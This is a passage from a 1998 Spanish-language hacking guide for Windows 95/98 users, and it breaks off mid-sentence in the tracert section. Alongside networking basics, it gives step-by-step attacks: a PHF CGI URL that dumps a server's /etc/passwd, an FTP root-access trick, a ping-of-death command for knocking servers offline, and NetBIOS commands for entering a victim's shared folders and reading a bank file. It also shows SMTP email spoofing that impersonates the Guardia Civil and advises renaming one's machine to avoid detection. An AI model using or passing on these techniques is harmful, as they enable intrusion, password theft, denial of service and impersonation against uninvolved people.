02-11-1998.
??????
°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°
°±ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ»±°
°±ΊΪ LA SUPER GUIA DEL HACKER ΏΊ±°
°±Ί³ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ»³Ί±°
°±Ί³ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ³Ί±°
°±Ίΐ by Nobody ΩΊ±°
°±ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ±°
°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°
<<<<<<<<<<VERSION
DELUXE>>>>>>>>>>>
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
Nota Del Autor: No me hago responsable de la
mala utilizacion de la
informacion aqui expuesta ya
que tan solo es para fines
didacticos.
Esta guia es de distribucion
libre excepto para las
instituciones
gubernamentales que deberan abonar 2000 pts
a alguna fundacion para
apadrinar ni€os.
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
- INDICE:
1 ......................... Que Es Esta Guia
Exactamente ?
2 ......................... Descripcion
General De Windows.
2-1 ...................... Seguridad En
Windows.
3 ......................... Protocolo TCP/IP
y Demas Historias.
3-1....................... Puertos.
3-2....................... Ftp.
3-3....................... Telnet.
4 ......................... Hacking Basico
En Windows.
4-1 ...................... Phf.
4-2 ...................... Ftp.
4-3 ...................... Ping De La
Muerte.
4-4 ...................... Recursos
Compartidos.
4-5 ...................... Fake Mail Con El
Telnet.
4-6 ...................... Cambiando El
Entorno.
4-7 ...................... Finger.
4-8 ...................... Whois.
4-9 ...................... Tracert.
4-10 ..................... Winipcfg.
4-11 ..................... Ipconfig.
4-12 ..................... Arp.
4-13 ..................... Route.
4-14 ..................... Netstat.
5 ......................... Utilizacion De
Tools.
5-1
...................... SkamWerks Lab version 1.1b.
5-2 ...................... WaReZ! Version
95.12.31.
5-3 ...................... John the Ripper
v1.4.
5-4 ...................... Gobbler v 2.1.
5-5 ...................... Sharepasswd.
5-6 ...................... Snadboy's
Revelation v1.1.
5-7 ...................... Keylog95.
5-8 ...................... Glide.
5-9 ...................... Win95 AnonyMail
v 1.0.
5-10 ..................... Hacker's
Utility, V 1.02.
5-11 ..................... Haktek v1.1.
5-12 ..................... Claymore Brute
Force.
5-13 ..................... Skream's Port
Listener V 2.3.
5-14 ..................... WSOCK32 Winsock
Spy Facility Version .91
5-15 ..................... PWlTool V 4.0.
5-16 ..................... PwlView V 1.01.
6 ......................... Medidas De
Seguridad.
6-1 ...................... Protegiendo
Nuestro Ordenador.
6-1 ..................... Ataques Tipicos
a Nuestro Windows.
6-2 ..................... Encriptacion De
Nuestra Informacion.
6-3 ..................... Eliminar
Informacion De Forma Segura.
6-4 ..................... Eliminacion De
Virus.
6-1-1 .................... Protegiendo
Nuestras Acciones.
6-1-1-1 ................. Borrando
Nuestras Huellas.
6-1-1-2 ................. Encriptando
Nuestro Correo.
7 ......................... Sugerencias Para
Un Mejor Hacking.
8 ......................... Obtener
Informacion.
9 ......................... Despedida.
9-1 ...................... Agradecimientos.
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
1. Que Es Esta Guia Exactamente ?
Esta guia esta enfocado hacia todo aquel que
quiere ser hacker pero no
quiere aprender unix o no lo sabe manejar
(grave error). Pues por esta
razon esta guia esta enfocada a los usuarios
de windows, principalmente
los de win95/98. Por el contrario esta guia
no se dedicara al NT o Unix,
aunque por supuesto se hara referencia a
estos sistemas sobre todo cuando
son estos mismos Sistemas Operativos en los
cuales se centraran nuestros
actos, supuestamente legales :)
Todo esto que digo puede sonar tonterias y
puedes pensar que en win95/98 no
podras llegar a ser un gran hacker porque es
necesario conocer unix, y
estoy totalmente de acuerdo, pero solo
pretendo dar una oportunidad para
hacer sus pinitos a aquellos que solo saber
usar win95/98, yo por mi parte
aconsejo aprender unix por varias razones
que no viene a cuento en esta
guia.
Con esta guia te convertiras en un magnifico
Hacker usando un sistema que
no es propenso al hacking. Como es normal al
usar win95/98 estaremos muy
limitados en muchos aspectos pero podras
aprender por ejemplo, algunos
bug que podras usar en tu favor, la
utilizacion de diversas herramientas
hacker que no estan disponibles
generalemente en win95/98 y ademas a usar
los recursos que te ofrece Internet en tu
favor, abreviando un poco tanta
charla, llegaras a conocer la red de una
forma diferente y a manejar
win95/98 de forma distinta a lo conocido
hasta ahora.
Esta es la version Deluxe, de mi conocida
guia LA SUPER GUIA DEL HACKER, la
cual a sido revisada y actualizada, algunas
herramientas como el Bo o Netbus
no seran explicadas debido a que son
realmente faciles de usar y ademas
disponen de gran variedad de opciones y me
saldria un documento monstruoso.
Al igual que me he dejado muchas cosas, que
a lo mejor gustaria que
explicara pero realmente es imposible
explicarlo todo, ademas el espiritu
hacker es aquella persona que simplemente
quiere conocer pero debe
investigar por si misma, de nada sirve que
este todo hecho. Por eso os digo:
"Si juegas a Hacker,
piensa como un Hacker."
Surfeando por Internet, he encontrado
esta guia pasada a HTML y lo
mas curioso es que han quitado mi nick del
documento (que raro };-), pues
para estos plagiadores, aqui teneis la
version Deluxe para que la volvais
a copiar!!!!!
2. Descripcion General De Windows.
Como todos sabemos el windows95/98 es un
popular sistema operativo de la
casa Microsoft, el cual es conocido tanto
por sus adepto ya que es muy
sencillo y vistoso pero al igual tambien es
muy conocido por su inseguridad
en casi todos sus aspectos, ademas no ofrece
tanta versativilidad como otros
sistemas operativos. Por ejemplo este es el
caso de su "Multitarea" la cual
es virtual y no real, si quieres hacer la
prueba pon en marcha el defrag y
ejecuta otro programa :) y veras esa famosa
Multitarea.
El win95/98 es un sistema operativo de 32
bits multitarea, que es muy comodo
para la gente que busca facilidad, pero no
te enga€es pensando que es un
sistema ideal para Internet, puede que para
un usuario convencional le sea
estupendo pero para un Hacker se queda muy
corto de calle, ya que le falta
muchos servicios que otros sistemas
operativos si traen como el que ya
tantas veces he repetido, el Unix (se nota
que me encanta??:).
Aqui os dejo de dar la murga sobre win95/98
ya que este texto no esta
destinado a hablar sobre este sistema sino a
usarlo para hackear. Ademas no
creo que este contando nada nuevo sobre
windows o sea que mejor me callo y
si no sabes mucho sobre win95/98, pues ya
sabes comprate un libro.
2-1. Seguridad En Windows.
Como todos sabemos la seguridad en win95/98
es nula, es decir, win95/98 no
tiene seguridad por si mismo, un claro
ejemplo de esto que es las ventanas
que nos piden un password las podemos cerrar
pulsando sobre la X o tambien
nos basta con pulsar ctrl+atl+supr, con lo
que nos salteremo esta ventana
sin meter ningun password.
Por eso para que nuestro ventanas (nombre
que se le da a win95/98 :)
tendremos que instalarle algun paquete de seguridad disponible por
la red,
que hay muchos y buenos y lo mejor es que
son Freeware (gratis) aunque
siempre puedes comprar algun paquete
comercial de seguridad, en mi opinion
alguna veces una tonteria, ya que nos pueden
cobrar un precio abusivo y
cuando llega la oportunidad de demostrar su
calidad nos falla, ya que no
hay nada seguro 100%.
Proteger nuestro win95/98 es cosa de cada
uno pero tranquilidad, que la cosa
no es muy dificil, es cuestion de estar
atento a las novedades, en otras
palabras estar informado. Mas abajo ya te
entereras de estas cosas.
3. Protocolo TCP/IP y Demas Historias.
El protocolo TCP/IP, es el mas usado y
seguramente no lo sabias, ya que
engloba casi todos los servicios que solemos
usar como por ejemplo cuando
hacemos telnet, mail, ftp o cualquier cosa.
TCP/IP proviene de Transmission Control
Protocol y Internet Protocol
respectivamente. Por fortuna para los
usuarios de win95/98, este protocolo
ya viene incorporado nativamente en el
sistema, al contrario que ocurria
con el windows 3.x, el cual lo teniamos que
instalar para poder conectar
a Internet.
Como has podido comprobar en realidad son 2
protocolos pero que estan
unidos, el primero o sea el TCP es el
encargado de las comunicaciones y de
la transmision de los paquetes cuando
estamos conectados a un servidor. El
IP es el encargado de que los paquetes
llegen a destino por orden aunque
tomen caminos diferentes.
* Diagrama del TCP *
cliente -> El cliente le envia una -> servidor
solicitud de conexion
espeficicando el puerto
de conexion al servidor.
cliente <- El servidor le responde <- servidor
que conoce su peticion
de conexion.
cliente -> El cliente le devuelve <- servidor
otra vez la peticion y
el circuito ya esta
abierto.
* Diagrama del IP *
³Informacion general³Direccion
IP³Direccion IP³Datos³
³de cabezera. ³de origen ³de
destino. ³ ³
Pues aqui se acaba la explicacion basica de
este protocolo, para el que
este interesado en profundizar le remito a
que se pille el RFC 1180 o un
fichero disponible en multitud de
servidores, desgraciadamente no te puede
asegurar el nombre del fichero ya que lo he
encontrado de varias formas
pero te dare el nombre que aparece al
editarlo, ya que en todos es igual:
Introduction
to
the Internet Protocols
C R
C S
Computer Science Facilities
Group
C I
L S
RUTGERS
The State University of New
Jersey
3 July 1987
3-1. Puertos
Antes ya os he explicado muy brevemente la
comunicacion del protocolo en
cuestion. Pues ahora os pongo una extensa
lista sobre los distintos
puertos y sus servicios correspondientes.
echo 7/tcp
echo 7/udp
discard 9/tcp sink
null
discard 9/udp sink
null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp
quote
qotd 17/udp
quote
chargen 19/tcp ttytst
source
chargen
19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp
mail
time 37/tcp
timserver
time 37/udp
timserver
rlp 39/udp
resource # resource location
name 42/tcp
nameserver
name 42/udp
nameserver
whois 43/tcp
nicname # usually to
sri-nic
domain 53/tcp nameserver #
name-domain server
domain 53/udp
nameserver
nameserver 53/tcp
domain # name-domain
server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp
netrjs
finger 79/tcp
link 87/tcp
ttylink
supdup 95/tcp
hostnames 101/tcp
hostname # usually from
sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp
postoffice
pop2 109/tcp # Post Office
pop3 110/tcp
postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc
111/udp
auth 113/tcp
authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp
usenet # Network News
Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbsession 139/tcp
NeWS 144/tcp
news
sgmp 153/udp
sgmp
tcprepo 158/tcp
repository # PCMAIL
snmp 161/udp
snmp
snmp-trap 162/udp snmp
print-srv 170/tcp
# network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp
comsat
exec 512/tcp
login 513/tcp
who 513/udp
whod
shell 514/tcp
cmd # no passwords used
syslog 514/udp
printer 515/tcp
spooler # line printer
spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp
timeserver
tempo 526/tcp
newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp
readnews
netwall 533/udp
# -for emergency broadcasts
uucp 540/tcp
uucpd # uucp daemon
klogin 543/tcp
# Kerberos authenticated rlogin
kshell 544/tcp
cmd # and remote shell
new-rwho 550/udp
new-who # experimental
remotefs 556/tcp
rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp
rmonitord # experimental
monitor 561/udp
# experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp
kdc # Kerberos authentication--tcp
kerberos 750/udp
kdc # Kerberos
authentication--udp
kerberos_master 751/tcp #
Kerberos authentication
kerberos_master 751/udp #
Kerberos authentication
passwd_server 752/udp
# Kerberos passwd server
userreg_server 753/udp
# Kerberos userreg server
krb_prop 754/tcp
# Kerberos slave propagation
erlogin 888/tcp
# Login and environment passing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp
# Kerberos encrypted rlogin
rmt 5555/tcp
rmtd
mtb 5556/tcp
mtbd # mtb backup
man
9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp
La verdad es que no te quejaras :) de esta
lista. Si quieres mas
informacion sobre los puertos con su debida
explicacion mirate el RFC 1060.
3-2. Ftp.
Supongo que a estas alturas sabras lo que es
el FTP, File Transfer Protocol
o sea Protocolo de Transferencia de Ficheros
y como podras observar en el
listado de los puertos al FTP le corresponde
el 21. Este servicio hay que
conocerlo muy bien ya que ademas que nos
sirve para subir o bajar ficheros
tambien nos puede ayuda en nuestros
propositos :), por supuesto el hacking.
Sino dispones de ningun cliente FTP, el
propio win95/98 lleva incorporado
uno, el unico problema es que no es muy
vistoso ya que funciona en modo
MS-DOS pero es muy versatil y perfecto para
nosotros. Para ejecutarlo basta
que activemos una ventana MS-DOS y en la
linea de comados escribamos FTP y
se pondra en modo FTP. Un ejemplo seria
esto:
c:\>ftp
<- Escribimos FTP.
ftp>
<- activado el modo FTP.
Si no sabes manejarlo, escribiendo un
"?" o "help" saldran todos los
comandos disponibles del FTP, como no viene
a cuento no los explicare pero
buscando por hay podras hallar informacion
de lo que hace cada cosa pero
lo mejor es que lo averigues tu solito.
3-3. Telnet.
Por suerte los usuarios de win95/98 con el
telnet tienen mas suerte o menos
segun se mire, ya que el servico de Telnet
de win95/98 que tambien esta
incorporado en el sistema, es muy facil de
manejar y ademas tiene ventana
propia. Por eso si ejecutamos telnet se
abrira una ventana y lo unico que
tenemos que hacer es ir al menu en la opcion
"conectar" y dentro de aqui
la de "sistema remoto", entonces
se activara otra ventana en la que
nos saldra tres opciones, la primera
"nombre de host" es donde queremos
conectar, "puerto" a que puerto
conectamos, por defecto el 23 y por ultimo
tenemos "tipo de terminal" que no
hace falta cambiarlo.
El telnet es importante ya que es asi como
entramos a una cuenta en un
servidor y podremos hacer lo que tengamos
permitido en el sistema.
Logicamente entraremos en una cuenta si
tenemos el login y password.
4. Hacking Basico En Windows.
Por fin ya se a acabo el latazo de la
explicacion de como moverse por
win95/98. Ahora ya podemos empezar a jugar
un poco por inet :), siempre
por puro placer pero jamas con malos fines.
En esta seccion os explicare varias maneras
de hacking usando el win95/98 a
pelo o sea sin utilizar ninguna herramienta
externa.
4-1. Phf.
La primera tecnica ya es muy conocida y la
verdad es que tendremos suerte
si nos funciona pero todavia sigue vigente y
doy fe de ello }:-) solo hay
que saber buscar y tener paciencia.
Para que esto nos funcione solo tenemos que
tener un navegador instalado
en nuesto win95/98, por defecto suele venir
el IE o sea que no podras decir
que no tienes, siempre y cuando hallas
instalado los paquetes extras.
Lo que tenemos que hacer es ir con nuestro
navegador a algun servidor que
corra sobre unix (muchos). Conectamos con un
servidor en cuestion,
www.victima.com, ya estamos viendo su web,
llegados aqui, a esa linea le
a€adimos:
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Como ya he dicho si todo sale bien nos
aparecera el fichero de passwords
del servidor con lo que solo nos queda
grabarlo en nuestro HD. Por supuesto
el PHF tiene muchas variantes por eso te
aconsejo que busce algo que
profundice en esta tecnica al igual que
tambien busca informacion sobre
el fichero passwd de unix para comprenderlo.
4-2. Ftp.
Antes ya te he explicado el funcionamiento
del FTP de win95/98, ahora lo
usaremos para sacer el fichero de password
de un servidor. Desde una
ventana del MS-DOS llamamos al programa FTP
y escribimos:
ftp> open victima.com
Conect to victima.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions
apply.
ftp> dir (o lo que querramos)
Y como siempre es el caso si todo sale bien
estaremos metidos en el
sistema como root (en lenguaje unix
significa el superusuario, o sea el
que controla el servidor). Por desgracia
esta tecnica es muy antigua por
lo que mas seguro no funcionara pero todo es
posible.
4-3. Ping De La Muerte.
Esta tecnica no es propia de un Hacker sino
de un Lamer (no quiero decir
Cracker para no ofender a nadie :) ya que
unicamente sirve para tirar un
servidor o sea que se desconecta de Internet
y esto puede representar
grandes perdidas a una empresa. Con esto
solo os quiero decir que aunque
aqui os lo explicare no es cuestion que lo
useis por Internet atacando
servidores.
La utilidad Ping sirve principalmente para
saber si un servidor esta activo
y ademas podemos calcular el trafico en la
red segun el tiempo de su
respuesta. Basicamente se le envia un
paquete a un servidor y este nos
contesta, solo que si se le envia un paquete
muy grande puede llegar
desordenado, por lo que el servidor pide al
origen que le vuelva a enviar
una parte o la totalidad del paquete, por lo
que se produce un datagrama
del ping muy grande y producira su caida.
Para ejecutar este ataque solo
tenemos que escribir :
c:\>ping -l 65510 victima.com
Pues esta simple linea es muy destructiva,
por lo que tened cuidado y antes
de hacer tonterias leed la parte sobre
seguridad de la guia.
4-4. Recursos Compartidos.
Como win95/98 NO tiene seguridad nos permite
colarnos en el disco duro de
otra persona por Internet y lo mejor del
caso es que esta tecnica nos la
proporciona los propios programas del
win95/98. Por supuesto no todo es tan
sencillo ya que hay que cumplir unos
requisitos. Esto se debe a una mala
configuracion del propio usuario al no
configurar adecuadamente los
recursos compartidos de su red corriendo
sobre win95/98.
Para colarnos en el HD de otro ordenador debenos
tener nuestro ordenador
bien configurado, o sea el compartir
recursos bien puesto y tambien tener
el Netbios instalado. Para configurarlo,
tenemos que tener activado la
opcion de "compartir ficheros e
impresoras" en MIPC->Panel de Control->Red.
SI por el caso la opcion esta desactivada
simplemente pulsamos el boton de
"a€adir" y a€adimos el servicio
"Compartir ficheros e impresoras en redes
Microsoft". En la misma ventana,
debemos tener el "Primer inicio de sesion"
en "Cliente para redes Microsoft".
Tambien tiene que estar activado el
"Cliente para redes Microsoft",
que viene por defecto en MIPC->Acceso
Telefonico a Redes->Conexion a Inet que
usaremos->boton derecho->
propiedades, debiendo estar activada la
casilla "conectarse a la red".
Ahora ya podemos ponernos manos a la obra,
entonces volvemos a una
ventana del MS-DOS y ejecutamos:
c:\>nbtstat -A (IP DE LA VICTIMA)
NetBIOS Remote Machine Name Table
Name Type
Status
---------------------------------------------
VICTIMAMACHINE <00>
UNIQUE Registered
VICTIMAGROUP <00>
GROUP Registered
VICTIMAMACHINE <03>
UNIQUE Registered
VICTIMAMACHINE <20>
UNIQUE Registered
VICTIMAGROUP <1E>
GROUP Registered
MAC Address = 44-45-53-54-00-00
Cuando ejecutamos este comando nos saldra
una tabla como esta y el
primer 'UNIQUE' de tipo <00> es el
nombre de la victima y como puedes
ver la maquina se llama VICTIMAMACHINE.
Entonces ahora creamos/editamos el archivo
LMHOSTS, si por el caso
encontrais uno que pone LMHOSTS.SAM no lo
toqueis, poniendo la direccion IP
y el nombre de la maquina en cuestion, esto
seria de la siguiente forma:
c:\>edit c:\windows\system32\LMHOSTS
VICTIMAMACHINE
Entonces cerramos el fichero y desde un
ventana del MS-DOS ejecutamos
un comando para a€adir el ordenador de la
victima a nuestro Netbios y
esto seria de la siguiente forma:
c:\>NBTSTAT -R
Ahora nos interesa saber que recursos
comparte la victima y esto tampoco
nos traera complicacion alguna:
c:\>net view \\VICTIMAMACHINE
Shared resources at \\VICTIMAMACHINE
Sharename Type Comment
-----------------------------------------
BANCO Disk
Y como podemos observar comparte una carpeta
llamada BANCO.
Ahora ya podemos operar como si fuese una
terminal mas en nuestra red local
sobre win95/98. Ya solo nos queda ejecutar
el comando que querramos, si por
ejemplo queremos ver el contenido, solo
tenemos que escribir:
c:\> dir \\VICTIMAMACHINE\BANCO
O para leer cualquier fichero de la carpeta:
c:\> type
\\VICTIMAMACHINE\BANCO\CUENTABANCARIA.TXT
Si queremos conectar al recurso compartido
de forma grafica (o sea con
una ventana y no seguir usando el MS-DOS),
solo tenemos que pulsar
INICIO->BUSCAR PC y dentremos el PC
remoto pero esto solo es posible
si hemos a€adido la VICTIMAMACHINE a una
unidad de red a la que podamos
llamar, deberemos ejecutar:
c:\>NET USE e: \\MIPC\WINDOWS
Esta tecnica solo funciona si la maquina
remota ejecuta win95/98 o win 3.11
y ademas comparte las carpetas sin
contrase€a en modo "Acceso a nivel
compartido" MIPC->Panel de
control->Red | Control de acceso. Si utilizase
el "Acceso a nivel de usuario"
nuestro grupo debe estar autorizado en
esa maquina. Podemos probar a intentar
insertar el grupo de nuestra maquina
para que este autorizada, esto lo
conseguiremos con el Regedit, por
desgracia los sistemas win95/98 y OSR2 que
estan ejecutando el Servidor Web
Personal de Microsoft desactivan esta
posibilidad de acceso remoto tras
informar de la conveniencia de hacerlo al
usuario, ya que el servidor web
obliga a compartir carpetas aun sin tener
red local.
Logicamente un usuario que haya tenido el
despiste de conectarse a Internet
con carpetas compartidas no toma luego
medidas de control sobre quien
entra en su maquina. Pero no hay que hacer
ilusiones ya que podemos ser
pillados si por ejemplo un usuario ejecuta
el programa Netwatch, que
muestra los usuarios conectados a nuestra
computadora en cada momento y por
supuesto el nombre de las computadoras por
lo que es aconsejable cambiar el
nombre de nuestra computadora usando el
Regedit. Si nuestra maquina se
llama HACKERNOBO cambiamos todas la cadenas
donde aperezca este nombre con
el Regedit a un nombre menos sospechoso.
Si no conectamos la VICTIMAMACHINE como una
unidad mas a nuestra
computadora no nos tendremos que preocupar
del Netwatch, asi conseguiremos
una cierta seguridad personal ya que lo mas
seguro, la VICTIMAMACHINE no se
dara cuenta de nuestra entrada. Tambien hay
que decir que si la
VICTIMAMACHINE quiere apagar su computadora
le saldra el mensaje del tipo
"hay otros usuarios conectados a su
ordenador, si apaga se desconectaran"
si ocurre esto seremos pillados.
Decir que el comando Net, dispone de muchos
parametros que nos puede ser
utiles y ademas podemos jugar durante mucho
tiempo con ellos :) los cuales
son los siguientes:
c:\>net /?
For more information about a specific
Microsoft NET
command, type the command name followed by
/?
(for example, NET VIEW /?).
NET CONFIG
Displays your current workgroup settings.
NET DIAG
Runs the Microsoft Network Diagnostics program to
display diagnostic information
about your network.
NET HELP
Provides information about commands and
error messages.
NET INIT
Loads protocol and network-adapter drivers without
binding them to Protocol
Manager.
NET LOGOFF
Breaks the connection between your computer and
the shared resources to which
it is connected.
NET LOGON
Identifies you as a member of a workgroup.
NET PASSWORD Changes your logon password.
NET PRINT
Displays information about print queues
and controls print jobs.
NET START
Starts services.
NET STOP
Stops services.
NET TIME
Displays the time on or synchronizes your computer's
clock with the clock on a
Microsoft Windows for
Workgroups, Windows NT, Windows
95, or NetWare time server.
NET USE
Connects to or disconnects from a shared
resource or displays
information about
connections.
NET VER
Displays the type and version number of the
workgroup redirector you are
using.
NET VIEW
Displays a list of computers that share
resources or a list of shared
resources
on a specific computer.
The command was completed successfully.
Pues aqui teneis todos los parametros
disponibles del comando Net, por lo
que solo nos queda jugar un rato para saber
que es cada cosa. No es
divertido si os lo explico todo.
4-5. Fake Mail Con El Telnet.
Esta tecnica nos ayuda a suplantar la
direccion de correo electronica que
querramos :). La verdad es que tiene pocos
usos, en mi opinion debido a
una serie de razones pero siempre puede
servir para gastar una buena
broma enviando aun amigo un mail del
director de la Universidad diciendo
que ha sido expulsado por pirata }:-) y no
te cuento si es un mail de la
Guardia Civil.
La verdad es que es muy sencillo de hacer
pero por supuesto habra que tomar
unas ciertas medidas de seguridad, que ya
explicare luego. Lo primero
que tenemos que hacer es ejecutar el cliente
Telnet (sobre el manejo del
Telnet ya lo explique mas arriba) y donde
pone "puerto" en vez de poner
el puerto 23 pondremos el 25 que corresponde
al puerto del mail y esperamos
a que nos conectemos a ese puerto, cuando
conectemos nos saldra un
mensaje y esta esperando a que pulsemoa
alguna tecla:
220 Howdy From mail.airmail.net running
Smail 3.1.30.16 (ESMTP)
[d/o/u/g] ready at Thu, 10 Oct 96 00:03:17
-500 (CDT)
Muchas veces lo que podemos hacer es
escribir "help" y saldran todos los
comandos, tambien podemos escribir
"echo" y la maquina nos contestara que
esta lista. Para escribir un mail hay que
seguir una serie de pasos:
mail from:gc.uco@mad.servicom.es <-
ponemos de donde viene.
El servidor nos contesta:
250 <gc.uco@mad.servicom.es> ...
Sender Okay
Ahora escribimos:
rcpt to:nob_ody@xxxxxxxx.com <- a quien
se lo enviamos.
El servidor nos contesta:
250 <nob_ody@xxxxxxxx.com> ...
Recipiant Okay
Ahora escribimos:
data
El servidor nos contesta:
354 Enter mail, end with "." on a
line by itself
Ahora escribimos:
To: nob_ody@xxxxxxxx.com
From: gc.uco@mad.servicom.es
Subject: Te querremos!!
Bueno nobody, solo te queremos decir que
nos gusta tu trabajo y te
querremos fichar para el departamento.
Direccion General de
la Guardia Civil
.
<- para terminar el mail.
El servidor nos contesta:
250 Mail accepted
Ahora escribimos:
quit
<- ya esta todo listo :)
Pues ves como es realmente simple!! Pero
antes de empezar a jugar con
esta tecnica tenemos que asegurarnos que el
servidor de mail no regrista
nuestro IP, esto lo podremos averiguar si
enviamos un mail de prueba a
alguna cuenta anomima que tengamos. Si vemos
que en la cabecera del mail
sale nuestro IP ese servidor no sirve. Hay
listas disponibles por Internet
sobre servidores que permiten hacer esto.
4-6. Cambiando El Entorno.
Esta tecnica no es que sea propia del
hacking ya que solo sirve para
cambiar la pantalla de inicio o la de
finalizar windows. Los logos de
windows tienen un formato BMP 320X400 pero
estan clamuflados en ficheros
con extension SYS pero siguen siendo
realmente BMP'S.
El logo del principio de windows (ya sabes
el de las nubes) lo podeis
encontrar como:
c:\>logo.sys
Si no encuentras este fichero, entonces lo
que tenemos que hacer es crearlo
y grabarlo alli mismo y cuando windows
vuelva a reiniciar usara nuestro
grafico y si lo volvemos a quitar, usara el
de siempre. El logo del final
(cuando cierra windows) esta en el
directorio windows y lo podemos
encontrar como:
c:\windows>logos.sys
Logicamente es obligatorio que los graficos que
querramos sustituir
tengan de tama€o 320x400 y sean ficheros
BMP'S. Conviene que les pongamos
el atributo de ocultos, que esto se hace con
el comando Attrib, por
ejemplo:
c:\windows>attrib +h logos.sys <- lo
oculta.
c:\windows>attrib -h logos.sys <- lo
hace visible.
4-7. Finger.
La utilidad Finger, muy usada en Unix, en
realidad no esta disponible en
Win95/98 pero como somos Hackers nosotros si
que somos capaces desde
Win95/98. Finger se utiliza para obtener informacion
de un servidor. Puede
parecer una tonteria pero es util, por
ejemplo, podemos empezar a sacar los
Login's de los usuarios y empezar a adivinar
sus passwords, tambien podemos
vigilar al root del servidor (cada cuanto
tiempo conecta, cuando fue la
ultima vez que estuvo, etc...) y asi muchas
cosas.
La verdad es que para usar el Finger
usaremos cualquier navegador, IE o
Netscape. Simplemete nos dirigimos a un url
un poco especial, es un web
que permite hacer Finger a cualquier host y
nos deveulve los resultados.
Esto se conoce como "Finger
Gateway". El url del web es:
http://www.hgp.med.umich.edu/cgi-bin/finger
4-8. Whois.
La utilidad Whois, al igual que Finger es
muy comun en Unix y no esta
disponible en Win95/98 pero comos somos asi
de listos saldremos del apuro.
Tambien sirve para pedir informacion de un
servidor pero no el igual que
Finger, ya que se diferencian en el tipo de
informacion, el finger se suele
utilizar mucho para buscar direcciones de
correo mientras que el Whois,
para averiguar informacion sobre un servidor
en concreto.
Para usar esta utilidad, ejecutamos el
Telnet y nos dirigimos a un
host muy especial:
c:\>telnet whois.internic.net
Por supuesto Internic, una empresa privada
norte ameriacana que se
encarga de controlar los dominios de
Internet, y podemos usar su base
de datos para pedir informacion sobre un
servidor.
Cuando conectemos a la base de datos de
Internic, escribimos "Whois nombre_
del_servidor" y nos sacara la
informacion.
telnet InterNIC > whois aol.com
Connecting to the rs Database . . . . . .
Connected to the rs Database
America Online (AOL-DOM)
12100 Sunrise Valley Drive
Reston, Virginia 22091
USA
Domain Name: AOL.COM
Administrative Contact:
O'Donnell, David B (DBO3)
PMDAtropos@AOL.COM
703/453-4255 (FAX) 703/453-4102
Technical Contact, Zone Contact:
America Online (AOL-NOC) trouble@aol.net
703-453-5862
Billing Contact:
Barrett, Joe (JB4302)
BarrettJG@AOL.COM
703-453-4160 (FAX) 703-453-4001
Record last updated on 13-Mar-97.
Record created on 22-Jun-95.
Domain servers in listed order:
DNS-01.AOL.COM 152.163.199.42
DNS-02.AOL.COM 152.163.199.56
DNS-AOL.ANS.NET 198.83.210.28
Como vemos hemos pedido informacion sobre
AOL.COM, American On-Line. Y esto
es lo que nos ha sacado Internic. Al final
podemos ver los dominios
asociados a AOL. Pues sencillo y muy util,
el whois.
4-9. Tracert.
Esta utilidad que si esta implementada en
Win95/98, nos sirve para calcular
el tiempo que tarda un paquete de un
servidor hasta otro y ademas podemos
saber por cuantos servidores pasa. Muy util
para sacar posibles servidores
victimas si nos llaman la atencion.
Para usar esta utilidad, abrimos una ventana
MS-DOS y escribimos Tracert,
a secas y nos sacara el menu de opciones
disponible.
c:\>tracert
Usage:tracert [-d] [-h maximum_hops] [-j
host-list] [-w timeout] target_name
Options:
-d Do not resolve addresses to hostnames.
-h maximum_hops Maximum number of hops to search for
target.
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.
Pues como veis, no tiene ningun misterio las
opciones del Tracert, por
lo que ya aprendereis su uso con la
